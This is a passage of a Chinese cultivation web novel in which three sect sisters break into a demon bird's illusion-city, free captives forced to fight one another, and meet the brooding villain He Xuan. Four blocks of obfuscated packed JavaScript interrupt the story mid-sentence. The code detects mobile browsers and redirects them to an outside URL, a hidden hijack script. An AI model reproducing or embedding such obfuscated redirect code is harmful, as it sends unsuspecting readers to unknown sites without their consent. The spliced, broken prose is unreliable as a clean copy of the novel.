宁惜拦下赵今遥挡在自己面前的手臂,指着后院,笑着哄道:“来都来了。” …… 跟着邪祟的魂体,她们重新回到风家后院。 魂体穿过曲折回转的长廊,停在了水池中央,随后没入水底,再也没了动静。 “它的本体在水下?”赵今遥话音一止,回头猛地看向宁惜,“师姐你早就知道了?” 宁惜上去刺杀新郎官时,赵今遥虽然忙着向周围的人套话,没来得及阻拦,却还是清清楚楚地看见她那一剑是没带任何灵力的。 原本赵今遥还以为是看在新郎官毫无修为的份上,可如若师姐一早知晓此事,想通过分身来寻找本体呢? 宁惜意外抬眼,“在你眼里我竟然这么聪明?” “……” “没错,我的确早就知道了,才设下如此大局。” “哇。” 慕湘满眼崇拜,“师姐好厉害!” 赵今遥看着没个正形的宁惜,再看向已然被宁惜折服的慕湘。 …… 她们栖云峰真的没救了。 “好了,不逗你了。” 宁惜见好就收,她从慕湘乾坤袋里拿出一张中阶避水符,三人周身立即生出一个五尺的球形气泡。 “先办正事吧。” 赵今遥正高兴于宁惜总算有大师姐该有的表率了,下一秒,却见宁惜十分果断地把位置让了出来:“师妹来,你来打头阵。” 赵今遥:“……” 白高兴一场。 “你知道的。”宁惜见赵今遥迟迟不动,不得不晓之以情:“你师姐我才筑基后期,已经好几年没突破了。” 赵今遥淡声反驳,“师姐,我也停在筑基大圆满五年了。” “怎么能这么说。” 宁惜明显不赞同,她一本正经道:“我不允许你如此消极,你这不叫筑基大圆满,是预备金丹期。” “……两者有什么区别么?” “当然有区别!二师妹,你要知道我们栖云峰这一脉就数你最厉害,咱们师尊出门从来只把你挂在嘴边。你的天资放眼整个天凌宗,那都是数一数二的。” 赵今遥敷衍笑笑,拉倒吧。 “不信你问小湘儿。” “嗯嗯。” 慕湘重重点头,比起宁惜浮夸的说辞,她的眼眸里尽显真诚,“二师姐,这是真的。五年前你那么年轻便能突破大圆满,天资还不算高么?你只是还没找到自己的道,这才没结金丹而已。” “还是小湘儿会说话,我们栖云峰果真是人才辈出啊。” 慕湘羞赧一笑,“那都是师姐和二师姐教得好。” 赵今遥看着一唱一和的两人,认命般叹了口气,以免宁惜再瞎扯下去,自觉站到最中央打头阵。她手一伸,一杆由寒铁打造的长枪瞬间出现在掌心。 枪身通体幽蓝,枪尖的穗子随着她的动作摇晃,格外惹眼。 赵今遥握紧坠星枪,不带丝毫犹豫,朝着水面一挥。 她这一枪带着灵力,水池当即从中间被劈开,分成了两半,水花卷起几丈高,像是一头张着嘴的巨兽要把她们吞没。可即便如此,水花下面也仍旧是一层水浪,深不见底。 这哪是池,说是水下深渊都不过分。 赵今遥神色掩盖不住的震惊,她站直身子,几丈高的水花随着她的动作落回池中,一息间,又重归平静。 像是什么都没发生过。 见赵今遥还想再来一枪,宁惜连忙阻止,“别浪费灵力了,直接追上去吧,让它的分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316309|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身回归本体就不好办了。” 这么想着,宁惜便纵身一跃跳入了池中,与岸上不同,池中的水质干净透亮,还可见底。 不多时,她们三人就触底了。 水底一点淤泥都没有,宁惜径直穿过水底,只见眼前的画面一转,她又重新回到了水面上。 紧跟其后的慕湘环顾一圈,“怎么回事?为什么又回来了。” 赵今遥反驳,“不一样了,这是那邪祟仿造出来的宅院。” “仿造的?”慕湘好奇问道,“所以有分身的邪祟是风家小姐吗?” “总之与风家脱不开关系。” 绕出后院,她们便发现事情果真如赵今遥所说那般。 眼前这座宅子的结构虽说和之前是一模一样的,可头顶昏暗不见月光,之前空阔的前院连带着前厅,一同改造成了一个兽圈。 圆弧状的兽圈由土墙包围,高数丈。 它与循规兽圈不同,往下看去,正有两人在高墙中厮杀。那两人衣不蔽体,五官血肉模糊,根本分不清谁是谁,只依稀能辨认出他们皆是毫无修为的凡人。 短暂分开后,他们再次纠缠在一起。 其中身手较好的一方将对手的肩膀剐掉了一层肉,伤口顿时鲜血直流,场上立即响起撕心裂肺的叫喊声。 可这凄惨的叫声,却丝毫没能博得对手的同情,他的对手显然已经杀红了眼,手指挖进肉里,将他狠狠地抵在身后的栅栏上。 视线一被带过去,她们这才注意到墙边的栅栏后方还关押着十来个人。 那些人和场上厮杀的人一样衣衫破烂,蓬头垢面,身上也是伤痕累累。 这场面,让慕湘直愣在了原地。 赵今遥倒是比慕湘镇定许多,只是眼眸中的愠怒根本掩盖不住:“这邪祟抓这么多毫无修为的凡人,只为叫他们自相残杀?” 宁惜眉眼一敛,眼神也淡了下来。 她扫视着场下的兽圈,正在心里想解决法子,身旁的赵今遥却先忍不住了,提着她那杆坠星枪跳了下去。 宁惜伸出去阻拦的手在空中停顿片刻,轻叹一口气,只得带着慕湘跟上。 她们把正在厮杀的两人分开,见这两人情绪激烈想挣脱,宁惜一记手刀干脆打晕。 趁着慕湘喂丹药的功夫,赵今遥走至栅栏处欲把里面的人也救出来,她长枪横扫,手臂粗的锁链应声落地。 里头的人不知她们的来历,全都惊慌地往角落里躲,剩下一个已经昏死过去的人留在原地。 宁惜抬眼,目光定格在那人身上。 男人的五官被血污遮盖,却依稀能从眉眼间看出几分贺玄的影子。 此时的贺玄衣衫褴褛,薄唇苍白无色。 因这半月来长期挨打挨饿,他脸颊消瘦,深浅不一的伤口遍布全身,新的旧的混杂在一起,坐在角落里有出气没进气,虚弱至极。 与白日里光彩耀目的新郎官相比,简直是天壤之别。 这次总该是大反派本人了吧? 宁惜蹲下,两指刚把住贺玄的手腕,还未来得及探脉息,脖间倏然一凉,一把泛着冷光的匕首架了上来。 贺玄眸光冰冷,“滚开。” “……” 是本人没错。 5. 第 5 章 匕首紧贴着宁惜脖间的肌肤,她缓慢地眨了眨眼,见贺玄神色阴鸷,识趣地缩回探脉息的手。 指尖才一离开,贺玄的脸色顿时好看了不少。 他收回手臂,那双黑眸从宁惜脸上划过,眼神带着打量和戒备,“你们是谁?” “我和我两位师妹来自不筠山天凌宗。”被人用刀架着,宁惜仍旧好脾气道,“师从栖云峰岳归衍,我是她们的师姐宁惜。” “天凌宗你听说过吗?” 天、凌、宗。 听见这三个字,贺玄眼底闪过一丝讥诮的笑。 他微眯眼眸,看着并未穿宗门校服、只身着一件素衣的宁惜,不吭声。 眼前的女子五官容颜都称不上绝色,甚至算得上平庸,唯独那双眼睛,平静无澜,犹如一口毫无涟漪的深水老井。 察觉到他的审视,宁惜跟着低头看了眼。 “我们是偷跑下山的,所以没穿宗门校服,路经此处发觉有邪祟作怪,这才进了城。” 宁惜这番话掺杂着真话,说得还算真切。 不过贺玄只是直勾勾地盯着她的眼睛,仍然是一声不吭,也不知道究竟信还是没信。 “真的。”宁惜想了想,只得认真地补充了一句,“你信我。我若是骗你,你就在这被困一辈子。” 贺玄疑惑抬眸,“?” “嘴快,说错了,是我们就在这被困一辈子。” “……” 非要带上他? 见贺玄依旧不为所动,宁惜干脆改口道:“行行行,若是骗你,我宁惜这辈子修为永远破不了金丹,这回总好了?” 闻言,贺玄神情停顿一秒,果断将匕首收回去。 “仙师言重了。”贺玄眼尾带笑,语气温和,“你们能来救我们已是不幸中的万幸了,哪还能让您如此起誓。” 宁惜道,“那我刚才起誓你也不拦我?” “……” 贺玄置若罔闻,他整理衣角,起身朝宁惜作揖赔礼,“进城前我曾多次遭人蒙骗,难免想得多了些,方才是我的不对,还望仙师见谅。” “没事,下次注意。” 宁惜抬手拍了拍贺玄,还想说点什么,肩膀骤然传来的疼痛让她话音一止,她这才看见贺玄肩膀处那些深可见骨的狰狞伤口。 而眼前的贺玄连眉头都没皱一下。 宁惜的眼神迸发出一丝难以置信,绑个蓝牙也不至于传这么快吧? 而且她就轻轻碰了一下,有这么疼吗! 感受着肩膀那边不断传来的疼痛,宁惜默默闭上嘴,一个字都不想说了。 真是天杀的。 【宿主。】沉默已久的系统善意提醒道,【您承受的痛感是反派伤口的十倍哦。】 “……” 你不说话没人当你是哑巴。 “滚。” 【好的。】 等脑海里的声音消失,宁惜马上摘下腰间的乾坤袋,她找出袋里疗伤用的丹药,塞到贺玄手中。 “把它吃了。” 语气不容置喙。 贺玄的目光在她的眉眼上一寸寸掠过,余光中,宁惜的两个师妹正在给其他人分发丹药,与他手中的丹药是一样的。 而其中那个模样更为稚嫩的师妹,还主动解释道,“这些下品丹药是疗伤用的,你们没有修为也能吃,放心吧。” 亲眼看着那些人吞掉丹药,贺玄这才跟着服下。 “多谢仙师。” 宁惜没理会贺玄的道谢,把手中的乾坤袋随手一抛,丢给了贺玄,“拿着。” 贺玄下意识接住,他听见宁惜继续道: “下品的疗伤丹效果有限,只能治愈轻微的皮肉外伤,你带着我的乾坤袋,伤口疼就再吃一颗。” “……” 宁惜的宝袋是漂亮的天青色,上头绣着象征吉祥的浮云纹样,吊着的流苏柔软贴肤,袋口虽然只用简单的细绳绑着,但两端分别坠着一块白玉。 小小一个,很是精巧。 离得近些隐约还能闻到竹叶香,散发着一股淡淡的温暖气息。 只不过落到他手里,干净明洁的乾坤袋立马沾染上了血污。 “该吃便吃,别强撑。” 贺玄看向并不在意、反而是“关心”起他来的宁惜,心中冷笑。 自从眼前这人出现开始,事情的发展已经与上一世截然不同了,前世他并不认识什么天凌宗的大师姐,更不会有人闯进城内救他。 他不信这只是单纯的巧合。 宁惜她,必然另有所图。 既然是天凌宗的人…… 贺玄眸中杀意闪过,那作为谢礼,他便好心送她下地狱吧。 没等贺玄有所动作,迎面走来的人打断了他的思绪。 赵今遥在她们面前站定,她背枪而立,先是瞥了贺玄一眼,而她身后的慕湘则紧紧跟随着。 贺玄感知到赵今遥那道打量的眼神,他轻轻垂眸,鸦青的睫羽瞬间遮住眼底的情绪。 “师姐。”赵今遥回正视线,看向宁惜,“所有人的伤势都仔细检查过了,我和师妹分发了疗伤丹,等他们的情况好些,我们就可以离开了。” “做得不错,你们辛苦了。” “本就是我们应该做的,不辛苦。不过师姐,还有一事。” 宁惜认真倾听,“你说。” “分发疗伤丹的时候,我顺嘴向他们打听了一番。其中多数人是附近城郭的民众,路过此地,被林中的”女鬼”吓到后,在一采药老伯的指路下来到了红莲城。他们进城后,便因各种原因昏睡了过去,再醒来,人便被关在兽圈了。” 赵今遥说完,不再开口,而是静静地等待宁惜回复。 “这么看来,与我们的经历倒是一般无二?” “嗯。”赵今遥朝宁惜点头。 饶是年纪最小的慕湘也反应过来了,她担心地看着赵今遥,“师姐,那个陶老伯是风家邪祟的帮手么?可我看他明明也是个毫无修为的凡人啊,为什么要……” “也许是被逼迫的。”赵今遥停顿一下,而后不怀好意道,“又或许是邪祟应许了他什么好处。总之,等找到他问问就知道了。” “好。” 一旁的宁惜听着两位师妹的猜测,并未发表任何意见。 三人又站在原地聊了会儿,待众人的伤势好了些,便带领他们沿着来时的路折返。 十余人浩浩荡荡地走出兽圈。 宁惜才与赵今遥并肩,便听见她小声询问道:“师姐,他便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316310|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要找的人吗?” “对。”宁惜深知赵今遥口中的“他”指的是贺玄,坦然承认了。 赵今遥蹙眉,“那人不像是个普通凡人。他周身的气场似乎与其他人有些不同,更重要的是,”赵今遥话语一顿,再三纠结后还是提醒道,“师姐,他刚才对你起了杀心。” “有吗?” “有。”赵今遥看着表情有些迟疑的宁惜,严肃点头,“我和师妹过来找你时,他眼底杀意分明。” 说着,赵今遥往身后瞥去。 只见贺玄独自走在队伍最末端,他漆黑的眼眸如寒潭深渊,神色晦暗不明,一动不动地盯着她们。 然而等她回头还想再看一眼时,贺玄眼眸一弯竟微微笑了起来。 眉眼间尽显温柔,仿佛刚才的景象只是她的错觉。 身侧跟着回头的宁惜开口道,“挺正常的啊,你是不是看错了?” 赵今遥不知如何向宁惜表述这种感觉,只能嘱咐道,“无论如何,若是出去发生了什么变故,你和师妹一定要多小心他。” “放心,万事有我。” “……” 赵今遥眼皮跳了跳,对宁惜莫名自信的回答感到心慌,以往她这位师姐只要认真起来,总没什么好事。 最后又往身后看了一眼,赵今遥见贺玄还朝她们笑着,眉头皱得更紧了。 但愿只是她的错觉吧。 …… 除了宁惜,几人各怀心事地往出口走。 她们一众人从湖底上来,穿过长廊来到前厅,整个宅子始终空无一人。 赵今遥心中不好的预感愈发强烈,她主动站上前,长枪横扫,破开了风家宅邸厚重的大门。 白日里热闹繁华的街巷,此时寂若无人。 “为何城里突然间一个人都没有了?” 在场不明情况的人们,被这一遭弄得惊慌不安。他们既无修为又无力自保,纷纷拉住年龄最小、性子最软的慕湘询问起来。 “几位仙君,这到底是怎么一回事啊?” “是啊,怎么回事?” “究竟什么情况,我们还能活着逃出去吗……” 他们七嘴八舌的声音混杂在一起,顿时人心惶惶。 “别吵了!”赵今遥眉心拧成一团,呵声制止道:“还想活命就安静待着,我们先去药材铺找陶老伯。” 有赵今遥出面充当主心骨,众人的情绪瞬间被安抚了,全都听话地闭上了嘴。 宁惜看向自觉打头阵的赵今遥,倒也丝毫不觉得心虚,她慢悠悠地跟在自家师妹身后,往药材铺的所在的方位走去。 岂料刚走出去没几步,眼前便弥漫上一层浓重的灰白色雾气。 浓雾笼罩整条街道,三丈之外便再难视物。 宁惜见状,掐诀点燃照明符,但符箓刚飞出去就遭雾气吞噬,倏然熄灭。 赵今遥眼神一凌,“快退回去!” 这话一出,身后的人们当即推搡着要退回风家,然而,身后也是一片虚无。 “宅、宅子没了!” “师姐。” 赵今遥似乎意识到什么,她和宁惜对视一眼,开口道:“我们好像中计了。那风家只是个幌子,整座红莲城似乎都是编织而成的幻境。” 6. 第 6 章 一刻钟后。 众人在迷雾里不停打转,彻底迷失了方向。 宁惜的目光从浓雾中收回,肯定了赵今遥的说法:“是骨炽鸟。” “真是骨炽鸟?” “嗯。” 听到宁惜的肯定,赵今遥的脸色当即变得严肃起来。 另一侧,慕湘正睁着圆溜溜的眼睛四处张望,俨然还未意识到事情的严重性。她对两位师姐口中的骨炽鸟了解甚少,想问又不敢问。 宁惜看出了她的犹豫,眼眸含笑道:“想问什么?” “师姐。”有宁惜开这个口,慕湘胆子立即大了许多,“你们说的骨炽鸟是什么呀?” 这个问题一出,赵今遥不禁叹了口气。 她深知此刻不是揪慕湘错处的时候,便干脆解释道:“一种擅长编织幻境的三阶妖兽。它以凡人的绝望为乐,不直接杀戮,而是通过编织幻境诱使凡人自相残杀,再以他们的恐惧与鲜血为食。” “三、三阶妖兽?!”虽然慕湘不清楚这个骨炽鸟的能力究竟有多强,但听到是三阶,直接吓磕巴了。 三阶妖兽可当一个金丹期的修士了。 慕湘紧张地看向两位师姐,最后目光落在她们三人中修为最高的赵今遥身上,二师姐那么厉害都没到金丹期,她就更不用说了,才炼气七层…… 宁惜看着小脸顿时惨白的慕湘,伸手揉她的脑袋,安抚道:“没事,我和你二师姐会想办法解决的。” 话虽这么说,慕湘的脸色却不见好。 她年纪实在太小,拜入天凌宗总共才不到五年,甚至头两年还因性子软受欺负,经常在内门干着杂活,哪曾出宗门见识过什么三阶妖兽。 害怕也是正常的。 毕竟金丹期对现在的慕湘来说,几乎是遥不可及的存在,更遑论让她一个炼气去打三阶妖兽。 想着慕湘怎么说都是跟着自己下山的,宁惜不禁郑重道:“你若是都害怕了,他们怎么办?” 闻言,慕湘抬头顺着宁惜的视线看去。 身后那群被她们从兽圈救出来的人,正担惊受怕地看着她们,眼里既有期待也有迷茫。宁惜没再多说,只是从乾坤袋里拿出剩余的那颗桃子,递给慕湘。 “吃个桃子,平复平复心情。” “……多谢师姐。” 慕湘接过桃子,自觉退到一旁不再打扰她们谈话。 赵今遥见慕湘情绪逐渐好转,跟着松了口气。很快,她又将心绪集中在对付骨炽鸟这件事上,转身看向比自己更有经验的宁惜。 “师姐,击破幻境需要找到骨炽鸟的本体,你有办法能分辨出去药材铺的路么?” “去药材铺做什么?” 面对宁惜的提问,赵今遥肯定道:“自然是找陶老伯。眼下这已经是我们唯一的突破口了,他作为一个普通凡人,没有骨炽鸟的准许根本离不开幻境城,找到他或许就能知道本体的下落。” 骨炽鸟这种妖兽一向小心谨慎,不会轻易暴露本体,没帮手指引,要在这茫茫大雾里寻找本体,几乎是无稽之谈。 “这个简单。”宁惜说,“换个人问也一样。” “换谁?” 顶着赵今遥困惑的眼神,宁惜朝慕湘伸手要道,“小湘儿,把你的缚妖袋借我用一下。” “好的师姐。”慕湘二话不说,十分信任地摘下自己腰间的缚妖袋,递给宁惜。 宁惜打开袋口,“出来吧。” 话音未落,袋口立即飞出一道红色灵气。 三人眼前赫然出现一只幼小的鲤鱼精,她看着像是才开始学化形,耳后的鱼鳃都还保留着,虽说幻化出了腿,但腿上的金红鳞片却没能掩盖掉。 慕湘惊讶抬头,“师姐,你什么时候用我的缚妖袋抓了一只鲤鱼精呀?” “昨天晚上。” 赵今遥若有所思,“在尸胡山上吓人的小精怪就是她?” “对。”宁惜点头。 “我不是故意吓你们的,是有人夺走了我的护心鳞,逼我这么干的。”鲤鱼精一见到宁惜,马上丝滑认错。 “人?”赵今遥瞬间捕捉到重要信息,“修士么?” 鲤鱼精摇头,“不是。他没有修为,只是个普通凡人,不过看模样有点年纪了。” “毫无修为的凡人能夺走你的护心鳞?” 赵今遥皱眉,对此表示质疑。 “对啊!虽说他只是个凡人,可身上却携带法器,我被那只大鸟打昏迷后,他趁机夺走了我的护心鳞。他拿护心鳞胁迫我帮他吓人,我只能答应,毕竟没有护心鳞我就不能化龙了……” 鲤鱼精这番话说得可怜巴巴的。 宁惜见赵今遥向自己投递来询问的眼神,肯定道,“她没撒谎。” “行。” 赵今遥了然,“既然你不是自愿帮骨炽鸟害人的,那你就感应护心鳞的位置,带我们找到骨炽鸟的本体。” “不行!”鲤鱼精想也不想,拒绝道,“我带你们去找本体,那老登更不会把护心鳞还给我了!不能化龙的话,和要我命有什么区别?” 赵今遥不跟她废话,利落抬起坠星枪,“你不带我们找,我现在就废了你的修为。” “你、你们是来自天凌宗的正派修士,不能这么做!” 鲤鱼精先是被赵今遥过于坚定的态度吓得心神一慌,但很快便反应过来了。 “对!我没做什么伤天害理的事,你们不能随随便便废了我的修为。” “谁规定了?” 赵今遥冷声道,“我们正派修士就一定要明辨是非,锄强扶弱?你为了你那所谓的化龙机遇,供骨炽鸟抓来一群凡人自相残杀,让它的修为增进至如此地步,现在反倒是先委屈上了?” “我……” “你的选择只有两个——要么带我们找本体,我们想办法帮你拿回护心鳞,要么,我现在废了你的修为。” 赵今遥这番话说得相当无情。 鲤鱼精当即看向宁惜,她想着宁惜好歹是赵今遥的大师姐,就算修为比不过,说话也是管用的,怎么都该是宁惜做这个主才对。 况且,一个正派宗门里总不能全是赵今遥这样的人吧? 然而宁惜只是打着哈欠,并不打算管这事。 甚至还不忘火上浇油,“快选吧。若让骨炽鸟发现你在与我们做交易,别说保住护心鳞化龙,你化蛇都难。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316311|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这话一出,三人中看着最像正派作风的慕湘,好奇问道:“师姐,鲤鱼精还能化蛇么?我怎么不知道。” “你当然不知道,因为我乱说的。” “……” 她们栖云峰的人怎么回事?天凌宗还管不管了?! 眼见她们师姐妹三人统一战线,鲤鱼精急得眼泪都快出来了,真与骨炽鸟打起来,宁惜她们哪儿顾得了那么多,能帮她顺利夺回护心鳞的几率小之又小。 之前为了此事,都帮着他们吓了那么多人了。 怎能临近节骨眼上再反悔…… 鲤鱼精想着,目光瞥过站在宁惜身后的男人,眼睛一亮。 “我记得你。你当时误入尸胡山,追你的那群人还是被我吓跑的呢,不然以你当时的伤势,早该被乱刀砍死了。” 闻言,贺玄撩起眼皮看了过来。 鲤鱼精继续为自己哀求道,“虽说我也吓了你,但无意间却救了你的命。护心鳞对我来说很重要,你能不能帮我说说情?” 宁惜眉头一挑,懒散的身子登时站直了。 她饶有兴趣地看着眼前沉默不语的贺玄,都想当场给鲤鱼精鼓掌了。 有眼光。 求人求到阎王头上去了。 正这么想着,宁惜看见贺玄忽然开口说道:“其实还有一个办法。” 众人以为贺玄要为鲤鱼精求情,纷纷将视线投到他身上。 “什么办法?”鲤鱼精一脸期待。 “我听说,护心鳞会在主人陨落的瞬间,散发异彩光芒。” 鲤鱼精:“?” 贺玄的语气温和平淡,脸上甚至还带着一抹笑,他面不改色的,仿若在谈论一件微不足道的事,这让鲤鱼精不禁有些怀疑自己的耳朵,是不是听错了。 “虽说时间有些短,但找个方位完全足够了。” “……” 当然短,用她的命燃烧的,能不短吗。 鲤鱼精彻底心死了。 天凌宗的人只是要废她的修为,好歹还能留她一条命,可这人像是魔道作风……完全不顾她的死活。 “选吧。”没给鲤鱼精思虑的机会,赵今遥适时开口,“难不成你更想选第三个办法?” “……我选一。” 鲤鱼精不情不愿地从地上爬起来,感应之前,仍不忘挣扎道:“那你们,一定要帮我拿回护心鳞。” “尽量。” 赵今遥的回复让鲤鱼精心底不安,但她又很清楚,眼下已经没有比这更好的选择了,只好闭了闭眼,往前站去。 再睁眼时,她的眼尾泛着细碎鳞光。 鲤鱼精双手掌心相对,指尖向上,似捧月状,她右手圆弧划圈,口中念诀:“天河倒悬,鳞光为引,四海潮生,护心相照。” “出。” 话音落,鲤鱼精周身浮现出一群游动的幻鱼虚影,它们在雾气中组成一排,隐约中指引着护心鳞所在的方向。 见状,赵今遥迅速摊开掌心。 她手中的坠星枪泛着浓郁的蓝色光芒,自行穿破浓雾,为众人开辟出一条路来。 “我们走吧。”赵今遥说,“去找陶老伯算账。” 7. 第 7 章 有赵今遥的坠星枪在前方开路,她们很快顺着幻鱼虚影的指引,来到了药材铺。 药材铺大门紧闭,伫立在浓雾里。 坠星枪破开药材铺的大门,重新回到赵今遥的手中。 灰尘飞扬中,陶老伯从容不迫地走了出来。他身上的斗笠与竹篓已然卸下,脸上依旧带着和善仁慈的笑容,装得倒是一副医者仁心的模样。 “各位想来我百草阁,来便是了,何必如此暴力破门。” 赵今遥懒得和他绕弯子,“把护心鳞交出来。” 陶老伯胸口的鳞片还在微微发光,他伸手将护心鳞拿出来,方才看见躲在宁惜她们身后的鲤鱼精。 “原来是跟着它才找来的。几位仙师不愧是从大宗门出来的修士,的确比那些凡人要聪明、难缠得多。” “少废话。” 赵今遥皱着眉打断了陶老伯,她提枪在手中一旋,飞身至陶老伯面前。 坠星枪划破长空,整个枪身包裹着一层灵力,当空劈下。 然而在距离陶老伯头顶一尺的位置,护心鳞自动开启一层防护屏障,护住了他。 坠星枪触碰到屏障的刹那,一层灵气波动在空中散开。 赵今遥连带着她的长枪,被击退了好几丈,好在她腕骨回转,利落收枪,站稳了脚步。 防护屏障下的陶老伯安然无恙,他微微一笑道:“我劝仙师们不要白费力气,你们今天谁都别妄想能逃出去。” 陶老伯这话说得十分有信心,形势一度变得严峻起来。 “是么?”宁惜轻飘飘反问,“你觉得靠那只鸟编织的一个破幻境就能困住我们?你也太小瞧我们天凌宗了。” 此话一出,陶老伯神情一怔。 他还真被宁惜的话唬住了,“你们三人之中除了她修为高一点,就你们两也能破我家主人的幻境?” 谁都知道这话中的“她”代指的是修为最高的赵今遥,慕湘无法反驳,只能生气地瞪着瞧不起自己的陶老伯。 “当然,一只三阶妖兽而已。你知道我是谁吗?你知道我们师尊是谁吗?说出来吓死你。” 宁惜一反驳,慕湘立马跟上,“就是,你知道我们师尊是谁吗!说出来吓死你!” 陶老伯望着相当自信的宁惜,顿时有些迟疑了。 “谁?” “你听好了。我乃不筠山天凌宗点苍峰,掌门梅净尘座下亲传弟子应无虞。” “对!我师姐是……” 慕湘猛地抬头看向宁惜,等等,好像有哪儿不对。 旁边,赵今遥好不容易看宁惜支棱起来,有点大师姐样了,刚松口气,又听见她报上应无虞的名号,不禁哽在原地。 人群外的贺玄盯着宁惜,神色不明。 “你是应无虞?” 面对陶老伯的质疑,宁惜丝毫不心虚,“对。” “那个根骨不凡、才十九岁便已突破金丹,拜入天凌宗的奇才?” “这你都知道?” 宁惜惊了,没曾想陶老伯还真有所耳闻,难道这就是大世界女主的魅力吗? “不错,那个奇才就是我。” “你?那是你吗你就认?”陶老伯气笑了,“你一个修为只有筑基后期、连你师妹都比不过的废柴,把我当傻子?!” “是我没错。真的你信我,我若是骗你,你和你家主人就不得好死。” 贺玄:“……” 她跟谁都这么起誓? “你是应无虞,老子还是闻人映山他爹!”陶老伯被宁惜这番态度气得不轻,开始口不择言了。 见陶老伯当着她们三人的面直呼宗门老祖的名讳,还如此羞辱,赵今遥眼神瞬间冷了。 “你找死。” 话音落,赵今遥握着坠星枪再次攻上去。 “哼,我有护心鳞护体……” 陶老伯得意不过一秒,被坠星枪/刺中的防护屏障从内至外产出裂纹,刹那间,屏障碎成粉末。 他胸前的护心鳞微微闪烁后,浮在了空中。 赵今遥一把夺过鳞片,丢给宁惜身后的鲤鱼精,“拿着。” 鲤鱼精双手接住护心鳞,眼眸里满是感激。 “你在故意拖延时间!”陶老伯总算回过神了。 “你才知道么?为了拖点时间我多不容易。”宁惜说着,回头朝鲤鱼精道,“你们这精血召回咒未免也太慢了点,回去记得改进一下。” 鲤鱼精低下头,不敢说一个不字。 “你!” 陶老伯彻底被惹毛了,他看着浑然没把自己放在眼里的宁惜,目光凶狠,“你今天休想活着出去。” 刚放完狠话,赵今遥的坠星枪便从他眼前劈过。 “多谢你的关心,你也小心枪啊。” “……” 早在栖云峰上时,赵今遥便是她们当中修炼最勤快的人。 她将一手长枪练得炉火纯青,拦、拿、扎,辅以崩、点、挑、拨等技法,笨重的坠星枪在赵今遥手中轻盈又灵活。 失去护心鳞庇护的陶老伯根本招架不住,被赵今遥打得节节败退,只得靠着稀薄的雾气四处躲避。 “师姐。”慕湘敏锐地察觉出不对,“陶老伯只是个凡人,以二师姐的能力不至于和他打几个来回都伤不了他呀。” “嗯,得把他家主人的本体找出来才行。” “那我去帮二师姐!” “诶。”宁惜刚想拦住她,慕湘从乾坤袋里掏出法器就飞上去了。 鲤鱼精紧随其后,“我也去!” 宁惜眼睁睁看着两道身影加入战场,正要开口感叹一句“年轻真好”,身后冷不丁地响起贺玄的声音。 “仙师不去?” “我?”宁惜指了指自己,十分理所当然,“我一个筑基后期的废柴凑什么热闹。” 贺玄沉默一瞬,提醒她,“可仙师的小师妹才炼气。” “我知道啊,那又怎么了?” “……仙师不是她们的师姐么?” “是啊。”宁惜无辜摊手,“可我的修为比不过我二师妹,能者胜任嘛,而且我用得最称手的那把佩剑忘带了,就不去添乱了。” 闻言,贺玄笑了笑。 他看向铁定心不想插手的宁惜,语气温和,“仙师之前与我说,你师从栖云峰岳归衍,是她们的师姐宁惜。可刚才又向别人透露,你是天凌宗掌门的亲传弟子应无虞。” 贺玄嗓音温润低沉,声线干净散漫。 宁惜不自觉地偏过头,将视线落在他那张更为亮眼的脸蛋上。 “仙师口中,到底哪些话是真的呢?” “……” 宁惜一顿,“你很在意?” 贺玄脸上依旧带着笑,白玉般的面容却有几分阴恻恻的,刚想开口,眼前的宁惜忽然冒出一句。 “我不是应无虞,不过我想带你回天凌宗。此为真。” 眼见宁惜不按常理出牌,贺玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316312|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不由得皱起眉,“仙师想带我回天凌宗?” “对。” “为什么?” 宁惜眨眼,“还需要有原因么?知道了。我先前探你脉息,觉得你有几分天资,是个修仙习道的好苗子,我们栖云峰正好缺你这样的人才。这行不行?” “……” 贺玄抬眼看向宁惜,她的话时常敷衍随性,可每每眼神又尤为真诚,总让人分辨不出真假来。 难道真是巧合,是他想错了? 